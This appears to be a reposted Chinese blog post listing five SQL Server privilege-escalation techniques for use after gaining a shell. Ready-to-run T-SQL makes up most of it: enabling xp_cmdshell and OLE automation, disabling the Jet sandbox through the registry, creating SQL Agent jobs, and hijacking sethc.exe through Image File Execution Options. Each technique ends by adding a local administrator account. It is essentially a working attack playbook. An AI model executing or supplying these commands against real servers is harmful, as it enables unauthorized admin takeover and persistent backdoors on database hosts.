通過Mssql提權的幾種姿勢


本文記錄針對SQL Server數據庫,在拿到shell之后進行提權的5種方法。

 

一、 xp_cmdshell提權

上面的數據庫連接需要知道sa的密碼,連接之后,在下面的sql命令處執行:

exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'

就能成功的創建一個賬戶aaa並且加到管理員組:

常見問題:

如果執行sql語句不成功,首先檢查判斷xp_cmdshell是否存在:

select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ;

返回1是存在的,返回0則需要通過xplog70.dll恢復。

然后需要開啟xp_cmdshell

EXEC sp_configure 'show advanced options', 1 ;

    Reconfigure;

    EXEC sp_configure 'xp_cmdshell', 1 ; --開啟xp_cmdshell,如果關閉,需要將這里的1改為"0"

    RECONFIGURE ; --以上命令開啟用xp_cmdshell

這四條語句一起執行,然后語句中間沒有空格,執行后可啟用。

 

二、sp_oacreate和sp_oamethod提權

declare @cmd INT;

exec sp_oacreate 'wscript.shell',@cmd output;

exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true';

exec sp_oacreate 'wscript.shell',@cmd output;

exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true';

以上語句也是在sql一起執行,語句中間沒有空格,但是執行可能會遇到問題:

我們需要開啟存儲過程:

exec sp_configure 'show advanced options', 1;

RECONFIGURE;

exec sp_configure 'Ole Automation Procedures',1;

RECONFIGURE;

以上語句也是在sql一起執行,語句中間沒有空格,如果存儲過程刪除的話需要利用odsole70.dll恢復存儲過程再執行。

這樣我們執行上面的語句之后就會創建一個hack的賬戶,並加到管理員組:

 

三、沙盒提權

這種提權是利用access的沙盒機制,關閉沙盒之后執行代碼。

首先用xp_regwrite這個存儲這個存儲過程對注冊表進行寫操作,關閉沙盒模式:

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

然后利用sql語句添加一個帳號和密碼都為sql$的帳號,同時加入管理員組進行提權:

創建賬戶:Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');

添加到管理員組:Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');

然后就創建了賬戶:

遇到的問題:

SQL2005默認是禁用Ad Hoc Distributed,執行命令時,會提示錯誤。需要開啟

exec sp_configure 'show advanced options',1 ;

    reconfigure ;

    exec sp_configure 'Ad Hoc Distributed Queries',1 ;

    reconfigure;

 

四、JOB提權

原理是創建一個任務x,並執行命令,命令執行后的結果,將返回給文檔q.txt

首先需要啟動sqlagent服務:

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

然后創建任務X,這里x為任務名稱,並執行命令,命令執行后的結果,將返回給文本文檔q.txt

    use msdb

    exec sp_delete_job null,'x'

    exec sp_add_job 'x'

    exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/q.txt"'

    exec sp_add_jobserver null,'x',@@servername

    exec sp_start_job 'x';

然后就可以看到已經創建了一個hack1的賬戶並加到了管理員組:

 

 

五、利用映像劫持提權

利用regwrite函數修改注冊表,起到劫持作用:

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

然后檢查是否劫持成功

    exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

返回沒有問題 利用遠程連接然后5次shift鍵,發現沒有啟動粘滯鍵,而是啟動了cmd,然后就可以創建用戶了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM